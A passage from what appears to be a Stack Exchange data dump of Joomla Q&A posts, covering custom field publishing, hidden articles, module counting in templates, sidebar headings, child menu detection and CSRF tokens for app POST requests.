&lt;code&gt;$programs&lt;/code&gt; variable, Joomla displays this error: &lt;code&gt;Notice: Undefined index: programs&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8253" LastEditorUserId="8253" LastEditDate="2020-02-24T17:17:00.557" LastActivityDate="2020-02-24T19:38:42.897" Title="Custom fields published state not working as expected" Tags="|templates|custom-field|fields|com-fields|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26763" PostTypeId="2" ParentId="26759" CreationDate="2020-02-24T11:08:39.027" Score="1" Body="&lt;p&gt;It's unknown what exactly is your &lt;code&gt;$fields&lt;/code&gt; variable, what values it contains (how it has been produced), where you use this code and generally your question lacks context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, note that when a field is unpublished - then it's not included in the &lt;code&gt;$jcfields&lt;/code&gt; array of the article object, for which the field has been assigned as a custom one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, given the conditions of your question, we may assume that you are in the context of an article object (could be a content plugin) and there it seems that your &lt;code&gt;$fields&lt;/code&gt; array is the array that holds the &lt;strong&gt;CustomFields&lt;/strong&gt; of your article. So, there, when you unpublish your &quot;programs&quot; custom field, your &lt;code&gt;$fields&lt;/code&gt; array stops from containing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, the PHP Notice you get is trying to say that: You ask an object property from something that isn't an object. Have you done &lt;code&gt;var_dump($fields['programs'])&lt;/code&gt; - most likely that would be a &lt;code&gt;null&lt;/code&gt; or simply &lt;code&gt;var_dump($fields)&lt;/code&gt; when your programs field is unpublished? What do you get?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Published state works as expected. When you unpublish a field, the field will not be part of your content item. It won't be anywhere in your content, except sitting and waiting in the fields component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;====&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see you have updated your question... and this is what I had assumed: You are in the article context. My answer covers that. Var_dumping the &lt;code&gt;$fields['programs']&lt;/code&gt; produces &quot;Undefined Index&quot; notice because when the programs field is unpublished it doesn't exist in the article's fields array. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, note that the article's custom fields are included already in the article object: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;item-&amp;gt;jcfields&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, you don't need to do all that you do on top to get the custom fields.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2020-02-24T19:38:42.897" LastActivityDate="2020-02-24T19:38:42.897" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26764" PostTypeId="1" CreationDate="2020-02-24T14:31:34.273" Score="0" ViewCount="504" Body="&lt;p&gt;I want to make a copy of an existing article, change something to it and give access to this article ONLY to people that have the URL. So, basically a &quot;hidden&quot; article.&lt;br&gt;&#xA;How do I do this?&lt;/p&gt;&#xA;" OwnerUserId="8875" LastActivityDate="2020-03-03T14:08:27.427" Title="Publish article but give access to it only to users that have the URL?" Tags="|joomla-3.x|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26765" PostTypeId="2" ParentId="26764" CreationDate="2020-02-25T09:59:45.787" Score="1" Body="&lt;p&gt;How much &quot;Hidden&quot; this hidden article should be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create a just hidden article, then you can create the article, then create a hidden menu item - set the robots meta to &quot;noindex&quot; and then you provide the URL of that article to your users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the hidden menu item - there is documentation you can find in the web if you search &quot;Joomla Hidden Menu Item&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although now Joomla provides an option on each menu item, to now display it on a menu module, my suggestion would be to create a whole new menu, name it hidden and add your hidden menu item(s) on that.&#xA;You will not create a menu module for that menu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The robots meta is needed, so the hidden article will not be indexed by search engines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you don't use any special SEF extensions (for SEO and Search Friendly URLs), then your hidden article URL would be accessible through the hidden menu item alias (if you have SEF enabled), or the real non-SEF url of the menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do also note that if you have menu items that link to category articles, you will have to be careful and assign that hidden article to another category, otherwise the article will become accessible through those categories menu items. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe it would be a good idea to also create a new category and named it &quot;Hidden&quot; or something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now to return back to my first question of &quot;how much hidden&quot;: &#xA;Having done all the above, the article will still be at a public accessible view... Meaning that there will be no safeguard to prevent people who you wouldn't want to access it, from accessing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you will be fine with that, then OK, if you are not, then you are looking for a different solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that case, as the simplest approach you could create Password Protected articles, and only give the password to those you want, (that's the first result it came on search: &lt;a href=&quot;https://extensions.joomla.org/extension/ecr-easy-content-restriction/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/ecr-easy-content-restriction/&lt;/a&gt;). &#xA;A more robust and complete solution would involve adding Users and ACL to your site configuration. But that's another talk, and rather a big one to expand here.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2020-02-25T12:50:45.317" LastActivityDate="2020-02-25T12:50:45.317" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26766" PostTypeId="2" ParentId="26764" CreationDate="2020-02-25T20:12:49.437" Score="1" Body="&lt;p&gt;Define &quot;Hidden.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see two possible definitions. One is that only registered users you decide to give the URL to can see it. For those, you create a user group for it and put the users you are giving the URL into it. Then you create the article as usual, but put the menu item you create for it into a separate menu, one that doesn't have a menu module built from it so that nothing in it will be in any part of the site navigation. When you publish the article and the menu item, set the access to the group that you created. Then anyone who requests the URL will be asked to log in, and if they're not in the group you created for this, will get blocked with a 403, but the authorized users will be able to see it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other way doesn't care who the people are or how they got the URL (whether directly from you or from it being passed around by others who know it). It just requires they have the url. For this, you start out as above but skip creating the user group and setting the access, just create the article and attach it to a menu item that is not part of the site navigation, with access set to public.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For both of these approaches, you will also want to set the robots meta to noindex,nofollow and arrange to keep the page out of your site map (most of the tools that auto-generate a site map allow you to exclude categories, menus, or even single articles). That way it'll only show up in indexes produced by badly behaved bots.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2020-02-25T20:12:49.437" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26767" PostTypeId="1" CreationDate="2020-02-25T21:19:00.850" Score="0" ViewCount="365" Body="&lt;p&gt;I have a split navigation module defined in my custom template. It is set to display submenu items under the main navigation when the parent item is active. The module itself displays correctly, but if I perform a check to define a CSS class or display sample HTML, the if statement does not work correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My template module code and parameters are included below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Template Code (index.php)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if($this-&amp;gt;countModules('global-nested-navigation')): ?&amp;gt;&#xA;    &amp;lt;!-- Sample HTML --&amp;gt;Yolo!&amp;lt;!-- / Sample HTML --&amp;gt;&#xA;    &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;global-nested-navigation&quot; /&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The nested navigation module is not displayed until the parent menu item is active, but the sample HTML is displayed on every page. I have included two screenshots showing the sample text, one for the homepage and the other with parent menu item active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A screenshot of the nested navigation parameters in also included below. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the top level navigation parameters:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;Base Item&quot; set to &lt;strong&gt;Current&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&quot;Start Level&quot; and &quot;End Level&quot; to &lt;strong&gt;1&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&quot;Show Sub-menu Items&quot; set to &lt;strong&gt;None&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ON1bw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ON1bw.png&quot; alt=&quot;Homepage with sample html&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pLSDy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pLSDy.png&quot; alt=&quot;Active parent menu item with nested navigation&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xHyEp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xHyEp.png&quot; alt=&quot;Nested navigation module parameters&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/p3BwA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/p3BwA.png&quot; alt=&quot;Homepage, no nested nav rendered&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hhMOE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hhMOE.png&quot; alt=&quot;Active parent menu item with nested nav rendered&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8253" LastEditorUserId="8253" LastEditDate="2020-02-26T16:48:04.570" LastActivityDate="2020-02-27T13:46:43.567" Title="Count modules function in template not working correctly" Tags="|templates|menu|menu-parameters|submenu|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26768" PostTypeId="2" ParentId="26767" CreationDate="2020-02-26T06:55:30.603" Score="1" Body="&lt;p&gt;Your module is always published. It counts even if it has no content. A feature to exclude empty modules when counting modules in template may get included in 4.0.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-02-26T06:55:30.603" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="26770" PostTypeId="1" AcceptedAnswerId="26772" CreationDate="2020-02-27T00:21:34.510" Score="0" ViewCount="167" Body="&lt;p&gt;In my custom component, I have a sidebar with several entries. These are added using &lt;code&gt;JHtmlSidebar::addEntry(...)&lt;/code&gt;, as described in &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JHtmlSidebar.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Documentation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of these sidebar menu items will rarely be used by users. I want to group the different sidebar items. Or maybe add a menu heading in between some of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this at all possible? I can't find any info on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any input is most welcome. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="13507" LastActivityDate="2020-02-27T08:43:13.060" Title="How to group Component sidebar menu, or add headings?" Tags="|component|custom-component|sidebar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26771" PostTypeId="1" AcceptedAnswerId="26774" CreationDate="2020-02-27T01:29:06.837" Score="1" ViewCount="112" Body="&lt;p&gt;I am using two menu modules to display parent and children items in different locations in the website header. The simplified code below shows how it is written in &lt;strong&gt;index.php&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am needing to check to see if a menu item has children. If it does, the following class &lt;code&gt;has-nested-nav&lt;/code&gt; should be added to the &lt;code&gt;&amp;lt;header&amp;gt;&lt;/code&gt; div. This class will adjust the bottom padding on the header depending on if the nested nav module is displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tested the code, but it does not yield the results I am needing. Please advise on what should be changed to get the code working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Template HTML&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;header class=&quot;**Add has-nested-nav class here**&quot;&amp;gt;&#xA;    &amp;lt;!-- Parent menu items --&amp;gt;&#xA;    &amp;lt;section&amp;gt;&#xA;    &amp;lt;?php if($this-&amp;gt;countModules('global-navigation')): ?&amp;gt;&#xA;        &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;global-navigation&quot; /&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;&#xA;    &amp;lt;!-- Children menu items --&amp;gt;&#xA;    &amp;lt;section&amp;gt;&#xA;    &amp;lt;?php if($this-&amp;gt;countModules('global-nested-navigation')): ?&amp;gt;&#xA;        &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;global-nested-navigation&quot; /&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;&amp;lt;/header&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Template includes/helper.php file&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$hasParent = $menu-&amp;gt;getItem( $menu-&amp;gt;getActive()-&amp;gt;parent_id );&#xA;if ($hasParent == 1) {&#xA;    $hasNestedNav = true;&#xA;} else {&#xA;    $hasNestedNav = false;&#xA;}&#xA;&#xA;$mrwcNavClass = '';&#xA;if ($hasNestedNav) {&#xA;    $mrwcNavClass .= ' has-nested-nav';&#xA;}&#xA;&#xA;if (!defined( 'MRWC_NAV_CLASS' )) {&#xA;    define( 'MRWC_NAV_CLASS', $mrwcNavClass);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Current Code - Not working&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$active = $menu-&amp;gt;getActive();&#xA;// $childCount = count($menu-&amp;gt;getItems('parent_id', $active-&amp;gt;id));&#xA;$children = $menu-&amp;gt;getItems('parent_id', $active-&amp;gt;id);&#xA;$visibleChildren = array_filter($children, function($child) {&#xA;    return ($child-&amp;gt;getParams('menu_show', 1) === 1);&#xA;});&#xA;&#xA;$childCount = count($visibleChildren);&#xA;if ($childCount == 1) {&#xA;    $hasNestedNav = true;&#xA;} else {&#xA;    $hasNestedNav = false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;$active menu item dump&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object(Joomla\CMS\Menu\MenuItem)[699]&#xA;public 'id' =&amp;gt; string '122' (length=3)&#xA;public 'menutype' =&amp;gt; string 'global-navigation' (length=17)&#xA;public 'title' =&amp;gt; string 'Education' (length=9)&#xA;public 'alias' =&amp;gt; string 'education' (length=9)&#xA;public 'note' =&amp;gt; string '' (length=0)&#xA;public 'route' =&amp;gt; string 'education' (length=9)&#xA;public 'link' =&amp;gt; string 'index.php?option=com_content&amp;amp;view=article&amp;amp;id=2' (length=46)&#xA;public 'type' =&amp;gt; string 'component' (length=9)&#xA;public 'level' =&amp;gt; string '1' (length=1)&#xA;public 'language' =&amp;gt; string '*' (length=1)&#xA;public 'browserNav' =&amp;gt; string '0' (length=1)&#xA;public 'access' =&amp;gt; string '1' (length=1)&#xA;protected 'params' =&amp;gt; &#xA;  object(Joomla\Registry\Registry)[913]&#xA;  protected 'data' =&amp;gt; &#xA;    object(stdClass)[915]&#xA;      public 'show_title' =&amp;gt; string '' (length=0)&#xA;      public 'link_titles' =&amp;gt; string '' (length=0)&#xA;      public 'show_intro' =&amp;gt; string '' (length=0)&#xA;      public 'info_block_position' =&amp;gt; string '' (length=0)&#xA;      public 'info_block_show_title' =&amp;gt; string '' (length=0)&#xA;      public 'show_category' =&amp;gt; string '' (length=0)&#xA;      public 'link_category' =&amp;gt; string '' (length=0)&#xA;      public 'show_parent_category' =&amp;gt; string '' (length=0)&#xA;      public 'link_parent_category' =&amp;gt; string '' (length=0)&#xA;      public 'show_associations' =&amp;gt; string '' (length=0)&#xA;      public 'show_author' =&amp;gt; string '' (length=0)&#xA;      public 'link_author' =&amp;gt; string '' (length=0)&#xA;      public 'show_create_date' =&amp;gt; string '' (length=0)&#xA;      public 'show_modify_date' =&amp;gt; string '' (length=0)&#xA;      public 'show_publish_date' =&amp;gt; string '' (length=0)&#xA;      public 'show_item_navigation' =&amp;gt; string '' (length=0)&#xA;      public 'show_vote' =&amp;gt; string '' (length=0)&#xA;      public 'show_icons' =&amp;gt; string '' (length=0)&#xA;      public 'show_print_icon' =&amp;gt; string '' (length=0)&#xA;      public 'show_email_icon' =&amp;gt; string '' (length=0)&#xA;      public 'show_hits' =&amp;gt; string '' (length=0)&#xA;      public 'show_tags' =&amp;gt; string '' (length=0)&#xA;      public 'show_noauth' =&amp;gt; string '' (length=0)&#xA;      public 'urls_position' =&amp;gt; string '' (length=0)&#xA;      public 'menu-anchor_title' =&amp;gt; string 'Education' (length=9)&#xA;      public 'menu-anchor_css' =&amp;gt; string '' (length=0)&#xA;      public 'menu_image' =&amp;gt; string 'images/media/images/svg/nav-current-marker.svg' (length=46)&#xA;      public 'menu_image_css' =&amp;gt; string '' (length=0)&#xA;      public 'menu_text' =&amp;gt; int 1&#xA;      public 'menu_show' =&amp;gt; int 1&#xA;      public 'page_title' =&amp;gt; string '' (length=0)&#xA;      public 'show_page_heading' =&amp;gt; string '' (length=0)&#xA;      public 'page_heading' =&amp;gt; string 'Education' (length=9)&#xA;      public 'pageclass_sfx' =&amp;gt; string '' (length=0)&#xA;      public 'menu-meta_description' =&amp;gt; string '' (length=0)&#xA;      public 'menu-meta_keywords' =&amp;gt; string '' (length=0)&#xA;      public 'robots' =&amp;gt; string '' (length=0)&#xA;      public 'secure' =&amp;gt; int 0&#xA;  protected 'initialized' =&amp;gt; boolean true&#xA;  public 'separator' =&amp;gt; string '.' (length=1)&#xA;  public 'home' =&amp;gt; string '0' (length=1)&#xA;  public 'img' =&amp;gt; string ' ' (length=1)&#xA;  public 'template_style_id' =&amp;gt; string '0' (length=1)&#xA;  public 'component_id' =&amp;gt; string '22' (length=2)&#xA;  public 'parent_id' =&amp;gt; string '1' (length=1)&#xA;  public 'component' =&amp;gt; string 'com_content' (length=11)&#xA;  public 'tree' =&amp;gt; &#xA;      array (size=1)&#xA;      0 =&amp;gt; string '122' (length=3)&#xA;      public 'query' =&amp;gt; &#xA;          array (size=3)&#xA;          'option' =&amp;gt; string 'com_content' (length=11)&#xA;          'view' =&amp;gt; string 'article' (length=7)&#xA;          'id' =&amp;gt; string '2' (length=1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;$children menu items dump&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array (size=2)&#xA;0 =&amp;gt; &#xA;    object(Joomla\CMS\Menu\MenuItem)[726]&#xA;    public 'id' =&amp;gt; string '1544' (length=4)&#xA;    public 'menutype' =&amp;gt; string 'global-navigation' (length=17)&#xA;    public 'title' =&amp;gt; string 'Classrooms' (length=10)&#xA;    public 'alias' =&amp;gt; string 'classroom' (length=9)&#xA;    public 'note' =&amp;gt; string '' (length=0)&#xA;    public 'route' =&amp;gt; string 'education/classroom' (length=19)&#xA;    public 'link' =&amp;gt; string 'index.php?option=com_content&amp;amp;view=article&amp;amp;id=261' (length=48)&#xA;    public 'type' =&amp;gt; string 'component' (length=9)&#xA;    public 'level' =&amp;gt; string '2' (length=1)&#xA;    public 'language' =&amp;gt; string '*' (length=1)&#xA;    public 'browserNav' =&amp;gt; string '0' (length=1)&#xA;    public 'access' =&amp;gt; string '1' (length=1)&#xA;    protected 'params' =&amp;gt; &#xA;        object(Joomla\Registry\Registry)[1490]&#xA;        protected 'data' =&amp;gt; &#xA;            object(stdClass)[1492]&#xA;            ...&#xA;            protected 'initialized' =&amp;gt; boolean true&#xA;            public 'separator' =&amp;gt; string '.' (length=1)&#xA;            public 'home' =&amp;gt; string '0' (length=1)&#xA;            public 'img' =&amp;gt; string ' ' (length=1)&#xA;            public 'template_style_id' =&amp;gt; string '0' (length=1)&#xA;            public 'component_id' =&amp;gt; string '22' (length=2)&#xA;            public 'parent_id' =&amp;gt; string '122' (length=3)&#xA;            public 'component' =&amp;gt; string 'com_content' (length=11)&#xA;            public 'tree' =&amp;gt; &#xA;                array (size=2)&#xA;                0 =&amp;gt; string '122' (length=3)&#xA;                1 =&amp;gt; string '1544' (length=4)&#xA;            public 'query' =&amp;gt; &#xA;                array (size=3)&#xA;                'option' =&amp;gt; string 'com_content' (length=11)&#xA;                'view' =&amp;gt; string 'article' (length=7)&#xA;                'id' =&amp;gt; string '261' (length=3)&#xA;   1 =&amp;gt; &#xA;      object(Joomla\CMS\Menu\MenuItem)[725]&#xA;      public 'id' =&amp;gt; string '1545' (length=4)&#xA;      public 'menutype' =&amp;gt; string 'global-navigation' (length=17)&#xA;      public 'title' =&amp;gt; string 'In The Community' (length=16)&#xA;      public 'alias' =&amp;gt; string 'community' (length=9)&#xA;      public 'note' =&amp;gt; string '' (length=0)&#xA;      public 'route' =&amp;gt; string 'education/community' (length=19)&#xA;      public 'link' =&amp;gt; string 'index.php?option=com_content&amp;amp;view=article&amp;amp;id=262' (length=48)&#xA;      public 'type' =&amp;gt; string 'component' (length=9)&#xA;      public 'level' =&amp;gt; string '2' (length=1)&#xA;      public 'language' =&amp;gt; string '*' (length=1)&#xA;      public 'browserNav' =&amp;gt; string '0' (length=1)&#xA;      public 'access' =&amp;gt; string '1' (length=1)&#xA;      protected 'params' =&amp;gt; &#xA;          object(Joomla\Registry\Registry)[1491]&#xA;          protected 'data' =&amp;gt; &#xA;              object(stdClass)[1494]&#xA;              ...&#xA;              protected 'initialized' =&amp;gt; boolean true&#xA;              public 'separator' =&amp;gt; string '.' (length=1)&#xA;              public 'home' =&amp;gt; string '0' (length=1)&#xA;              public 'img' =&amp;gt; string ' ' (length=1)&#xA;              public 'template_style_id' =&amp;gt; string '0' (length=1)&#xA;              public 'component_id' =&amp;gt; string '22' (length=2)&#xA;              public 'parent_id' =&amp;gt; string '122' (length=3)&#xA;              public 'component' =&amp;gt; string 'com_content' (length=11)&#xA;              public 'tree' =&amp;gt; &#xA;                  array (size=2)&#xA;                  0 =&amp;gt; string '122' (length=3)&#xA;                  1 =&amp;gt; string '1545' (length=4)&#xA;                  public 'query' =&amp;gt; &#xA;                      array (size=3)&#xA;                      'option' =&amp;gt; string 'com_content' (length=11)&#xA;                      'view' =&amp;gt; string 'article' (length=7)&#xA;                      'id' =&amp;gt; string '262' (length=3)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8253" LastEditorUserId="8253" LastEditDate="2020-03-03T01:52:10.183" LastActivityDate="2020-03-03T14:15:02.080" Title="Define header CSS class if menu items have children" Tags="|templates|menu|submenu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26772" PostTypeId="2" ParentId="26770" CreationDate="2020-02-27T08:43:13.060" Score="1" Body="&lt;p&gt;&lt;code&gt;JHtmlSidebar&lt;/code&gt; is pretty simple and doesn't support headings/separators or anything like that. But you can fake them by adding the required HTML to the language string used as a name for the entry and omitting the link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The language string:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;COM_MYCOMPONENT_SUBMENU_HEADING=&quot;&amp;lt;h3&amp;gt;My Heading&amp;lt;/h3&amp;gt;&quot;&#xA;COM_MYCOMPONENT_SUBMENU_SEPARATOR=&quot;&amp;lt;span class=\&quot;class-for-separator\&quot;&amp;gt;&amp;lt;/span&amp;gt;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;addEntry()&lt;/code&gt; calls:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtmlSidebar::addEntry(&#xA;    JText::_('COM_MYCOMPONENT_SUBMENU_HEADING')&#xA;);&#xA;&#xA;JHtmlSidebar::addEntry(&#xA;    JText::_('COM_MYCOMPONENT_SUBMENU_SEPARATOR')&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want more control over the sidebar layout, you can create an override of &lt;code&gt;joomla.sidebars.submenu&lt;/code&gt; layout specifically for your component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, you don't even have to use &lt;code&gt;JHtmlSidebar&lt;/code&gt; to create a sidebar for your component.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-02-27T08:43:13.060" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26773" PostTypeId="2" ParentId="26767" CreationDate="2020-02-27T13:46:43.567" Score="1" Body="&lt;p&gt;Usually i get around these kind of problems with a small custom PHP function. You can include it in you template index.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function thereAreModules ($position) {&#xA;  $modules = JModuleHelper::getModules($position);&#xA;  $ret = false;&#xA;  if (count($modules) &amp;gt; 0) {&#xA;    $ret = true;&#xA;  }&#xA;  return $ret;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Usage: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (thereAreModules('module-position-name-here')) {&#xA;  // do your stuff&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13825" LastActivityDate="2020-02-27T13:46:43.567" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26774" PostTypeId="2" ParentId="26771" CreationDate="2020-02-27T15:57:38.787" Score="1" Body="&lt;p&gt;If I'm correctly understanding what you're wanting to do, this code doesn't do it. I &lt;em&gt;think&lt;/em&gt; you're wanting $hasNestedNav to be true when the active menu item has children, and what it's doing is actually setting $hasNestedNav true always (every menu item has a parent, the root items in every menu will have parent_id == 1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If what you're wanting is a test for the existence of children of the current item, try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menu = JFactory::getApplication()-&amp;gt;getMenu()&#xA;$active = $menu-&amp;gt;getActive();&#xA;$childCount = count($menu-&amp;gt;getItems('parent_id', $active-&amp;gt;id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then test $childCount to see if there are children of the active menu item. (Interesting side note: the return from the getItems call is an array of the child menu items, so you could stuff that into a variable if you wanted to do any further checking or filtering -- for example walking the array to filter out the menu items that have the parameter menu_show set to off (hides them from navigation menus) to keep them from counting towards the total.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, this code isn't testing for the Bad Stuff that could happen if any of those calls fail, it's just the 'happy path' to the answer. I'll leave the error handling as an exercise for the reader.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Filtering&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$children = $menu-&amp;gt;getItems('parent_id', $active-&amp;gt;id);&#xA;$visibleChildren = array_filter($children, function($child) {&#xA;    $params = $child-&amp;gt;getParams();&#xA;    return ($params-&amp;gt;get('menu_show', 1) === 1);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After which the array $visibleChildren will contain only the ones with &quot;menu_show&quot; set to 1. You can then count it to know if there are visible children.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, if this doesn't work on your version of PHP (or if it just seems like too much work) you could simply walk the $children array with a foreach and test each child's &quot;menu_show&quot; param, breaking out of the loop on the first occurrence of a &quot;true&quot; (after all, for your purposes how many there are doesn't matter, all you need to know is there is at least one visible child).&lt;/p&gt;&#xA;" OwnerUserId="5394" LastEditorUserId="5394" LastEditDate="2020-03-03T14:15:02.080" LastActivityDate="2020-03-03T14:15:02.080" CommentCount="16" ContentLicense="CC BY-SA 4.0" />
  <row Id="26777" PostTypeId="1" CreationDate="2020-02-29T17:18:37.203" Score="0" ViewCount="298" Body="&lt;p&gt;I'm trying to make an android application and so i want to connect it directly to my Joomla website, i want to send some post requests but they are getting denied, I'm not asking for any help regarding Android, im just asking for anything regarding POST requests&#xA;We all know that Joomla has CSRF protection which creates a hidden form with a random name and a value, is there a way i can get the name and the value of that form, so that i can add it with my post request and thank you for your time. &lt;/p&gt;&#xA;" OwnerUserId="14138" LastActivityDate="2021-07-27T22:03:55.307" Title="Joomla post requests" Tags="|joomla-3.x|joomla-api|form|" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
